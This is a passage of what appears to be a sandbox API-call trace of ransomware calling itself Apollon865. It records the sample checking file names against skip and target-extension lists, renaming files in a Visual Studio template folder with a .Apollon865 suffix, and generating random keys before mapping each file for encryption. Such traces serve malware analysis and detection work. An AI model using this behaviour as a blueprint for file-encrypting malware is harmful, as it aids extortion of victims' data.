	[0053.073] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0053.074] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1192) returned 1
	[0053.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.074] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0053.075] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.075] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.075] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7b0, lpName=0x0) returned 0x118
	[0053.076] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7b0) returned 0x100000
	[0053.077] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0053.078] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.078] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.078] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.079] CloseHandle (hObject=0x118) returned 1
	[0053.079] CloseHandle (hObject=0x15c) returned 1
	[0053.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.079] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dialog.zip", cAlternateFileName="")) returned 1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2=".") returned 1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="..") returned 1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="windows") returned -1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="bootmgr") returned 1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="temp") returned -1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="pagefile.sys") returned -1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="boot") returned 1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="ids.txt") returned -1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="ntuser.dat") returned -1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="perflogs") returned -1
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2="MSBuild") returned -1
	[0053.079] lstrlenW (lpString="Dialog.zip") returned 10
	[0053.079] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip") returned 108
	[0053.079] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Dialog.zip" | out: lpString1="Dialog.zip") returned="Dialog.zip"
	[0053.079] lstrlenW (lpString="Dialog.zip") returned 10
	[0053.079] lstrlenW (lpString="Apollon865") returned 10
	[0053.079] lstrlenW (lpString=".dll") returned 4
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2=".dll") returned 1
	[0053.079] lstrlenW (lpString=".lnk") returned 4
	[0053.079] lstrcmpiW (lpString1="Dialog.zip", lpString2=".lnk") returned 1
	[0053.079] lstrlenW (lpString=".ini") returned 4
	[0053.080] lstrcmpiW (lpString1="Dialog.zip", lpString2=".ini") returned 1
	[0053.080] lstrlenW (lpString=".sys") returned 4
	[0053.080] lstrcmpiW (lpString1="Dialog.zip", lpString2=".sys") returned 1
	[0053.080] lstrlenW (lpString="Dialog.zip") returned 10
	[0053.080] lstrlenW (lpString="bak") returned 3
	[0053.080] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.080] lstrlenW (lpString="ba_") returned 3
	[0053.080] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.080] lstrlenW (lpString="dbb") returned 3
	[0053.080] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.080] lstrlenW (lpString="vmdk") returned 4
	[0053.080] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.080] lstrlenW (lpString="rar") returned 3
	[0053.080] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.080] lstrlenW (lpString="zip") returned 3
	[0053.080] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.080] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip.Apollon865") returned 118
	[0053.080] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.081] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0053.081] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2036) returned 1
	[0053.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.081] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0053.082] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.082] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.082] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x118
	[0053.083] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000
	[0053.085] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0053.085] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.085] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.086] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.086] CloseHandle (hObject=0x118) returned 1
	[0053.086] CloseHandle (hObject=0x15c) returned 1
	[0053.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.086] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="EMPTYD~1.ZIP")) returned 1
	[0053.086] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.086] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.086] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".") returned 1
	[0053.086] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="..") returned 1
	[0053.086] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="windows") returned -1
	[0053.086] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="bootmgr") returned 1
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="temp") returned -1
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="pagefile.sys") returned -1
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="boot") returned 1
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="ids.txt") returned -1
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="ntuser.dat") returned -1
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="perflogs") returned -1
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2="MSBuild") returned -1
	[0053.087] lstrlenW (lpString="EmptyDatabase.zip") returned 17
	[0053.087] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip") returned 107
	[0053.087] lstrcpyW (in: lpString1=0x2d3e612, lpString2="EmptyDatabase.zip" | out: lpString1="EmptyDatabase.zip") returned="EmptyDatabase.zip"
	[0053.087] lstrlenW (lpString="EmptyDatabase.zip") returned 17
	[0053.087] lstrlenW (lpString="Apollon865") returned 10
	[0053.087] lstrcmpiW (lpString1="tabase.zip", lpString2="Apollon865") returned 1
	[0053.087] lstrlenW (lpString=".dll") returned 4
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".dll") returned 1
	[0053.087] lstrlenW (lpString=".lnk") returned 4
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".lnk") returned 1
	[0053.087] lstrlenW (lpString=".ini") returned 4
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".ini") returned 1
	[0053.087] lstrlenW (lpString=".sys") returned 4
	[0053.087] lstrcmpiW (lpString1="EmptyDatabase.zip", lpString2=".sys") returned 1
	[0053.087] lstrlenW (lpString="EmptyDatabase.zip") returned 17
	[0053.087] lstrlenW (lpString="bak") returned 3
	[0053.087] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.087] lstrlenW (lpString="ba_") returned 3
	[0053.087] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.087] lstrlenW (lpString="dbb") returned 3
	[0053.088] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.088] lstrlenW (lpString="vmdk") returned 4
	[0053.088] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.088] lstrlenW (lpString="rar") returned 3
	[0053.088] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.088] lstrlenW (lpString="zip") returned 3
	[0053.088] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.088] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip.Apollon865") returned 125
	[0053.088] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.105] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=859) returned 1
	[0053.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.105] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.106] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.106] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.106] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x660, lpName=0x0) returned 0x150
	[0053.108] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x660) returned 0x120000
	[0053.145] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.147] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.147] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.227] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.227] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0053.230] CloseHandle (hObject=0x150) returned 1
	[0053.231] CloseHandle (hObject=0xc0) returned 1
	[0053.249] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4faa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Explorer.zip", cAlternateFileName="")) returned 1
	[0053.268] lstrcmpiW (lpString1="Explorer.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.268] lstrcmpiW (lpString1="Explorer.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.282] lstrcmpiW (lpString1="Explorer.zip", lpString2=".") returned 1
	[0053.285] lstrcmpiW (lpString1="Explorer.zip", lpString2="..") returned 1
	[0053.285] lstrcmpiW (lpString1="Explorer.zip", lpString2="windows") returned -1
	[0053.287] lstrcmpiW (lpString1="Explorer.zip", lpString2="bootmgr") returned 1
	[0053.287] lstrcmpiW (lpString1="Explorer.zip", lpString2="temp") returned -1
	[0053.302] lstrcmpiW (lpString1="Explorer.zip", lpString2="pagefile.sys") returned -1
	[0053.303] lstrcmpiW (lpString1="Explorer.zip", lpString2="boot") returned 1
	[0053.303] lstrcmpiW (lpString1="Explorer.zip", lpString2="ids.txt") returned -1
	[0053.323] lstrcmpiW (lpString1="Explorer.zip", lpString2="ntuser.dat") returned -1
	[0053.323] lstrcmpiW (lpString1="Explorer.zip", lpString2="perflogs") returned -1
	[0053.323] lstrcmpiW (lpString1="Explorer.zip", lpString2="MSBuild") returned -1
	[0053.323] lstrlenW (lpString="Explorer.zip") returned 12
	[0053.323] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip") returned 114
	[0053.324] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Explorer.zip" | out: lpString1="Explorer.zip") returned="Explorer.zip"
	[0053.324] lstrlenW (lpString="Explorer.zip") returned 12
	[0053.324] lstrlenW (lpString="Apollon865") returned 10
	[0053.340] lstrcmpiW (lpString1="plorer.zip", lpString2="Apollon865") returned 1
	[0053.340] lstrlenW (lpString=".dll") returned 4
	[0053.340] lstrcmpiW (lpString1="Explorer.zip", lpString2=".dll") returned 1
	[0053.341] lstrlenW (lpString=".lnk") returned 4
	[0053.341] lstrcmpiW (lpString1="Explorer.zip", lpString2=".lnk") returned 1
	[0053.342] lstrlenW (lpString=".ini") returned 4
	[0053.358] lstrcmpiW (lpString1="Explorer.zip", lpString2=".ini") returned 1
	[0053.359] lstrlenW (lpString=".sys") returned 4
	[0053.359] lstrcmpiW (lpString1="Explorer.zip", lpString2=".sys") returned 1
	[0053.359] lstrlenW (lpString="Explorer.zip") returned 12
	[0053.359] lstrlenW (lpString="bak") returned 3
	[0053.376] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.376] lstrlenW (lpString="ba_") returned 3
	[0053.376] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.376] lstrlenW (lpString="dbb") returned 3
	[0053.379] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.379] lstrlenW (lpString="vmdk") returned 4
	[0053.379] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.380] lstrlenW (lpString="rar") returned 3
	[0053.380] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.381] lstrlenW (lpString="zip") returned 3
	[0053.381] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.395] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip.Apollon865") returned 120
	[0053.395] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.458] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=20394) returned 1
	[0053.458] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.479] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.481] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.481] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.509] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52b0, lpName=0x0) returned 0x150
	[0053.511] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x52b0) returned 0x100000
	[0053.513] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.514] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.514] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
